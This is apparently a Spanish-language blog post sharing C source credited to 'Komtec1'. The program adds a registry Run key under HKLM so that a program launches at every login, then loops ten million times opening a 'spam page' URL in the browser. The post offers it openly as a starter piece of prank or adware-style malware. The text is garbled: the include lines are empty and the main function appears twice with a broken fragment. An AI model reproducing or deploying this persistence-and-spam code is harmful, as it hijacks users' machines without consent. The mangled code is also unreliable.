Este es un codigo con una estructura que falta por "tallar" aunque para comenzar es muy bueno el autor es don Komtec1 y pues sobra decir que la imaginacion prima aqui
#include
#include
#include
#include
#include
void wait ( int seconds )
{
clock_t endwait;
endwait = clock () + seconds * CLOCKS_PER_SEC ;
while (clock() < endwait) {}
}
int main ()
{
LONG status;
HKEY hKey;
char programa[]={"c:\\windows\\calc.exe"};
long a;
}
#include
{
clock_t endwait;
endwait = clock () + seconds * CLOCKS_PER_SEC ;
while (clock() < endwait) {}
}
int main ()
{
LONG status;
HKEY hKey;
char programa[]={"c:\\windows\\calc.exe"};
long a;
status = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey);
if(status != ERROR_SUCCESS)
return ERROR;
RegSetValueEx(hKey,"doc", 0, REG_SZ, (const unsigned char*)programa, strlen(programa)+1);
RegCloseKey(hKey);
for(a=10000000;a>0;a--)
{
system("start http://www.tuspampagina.com/");
wait(600);
}
getch();
return 0;
}
0 comentarios:
Publicar un comentario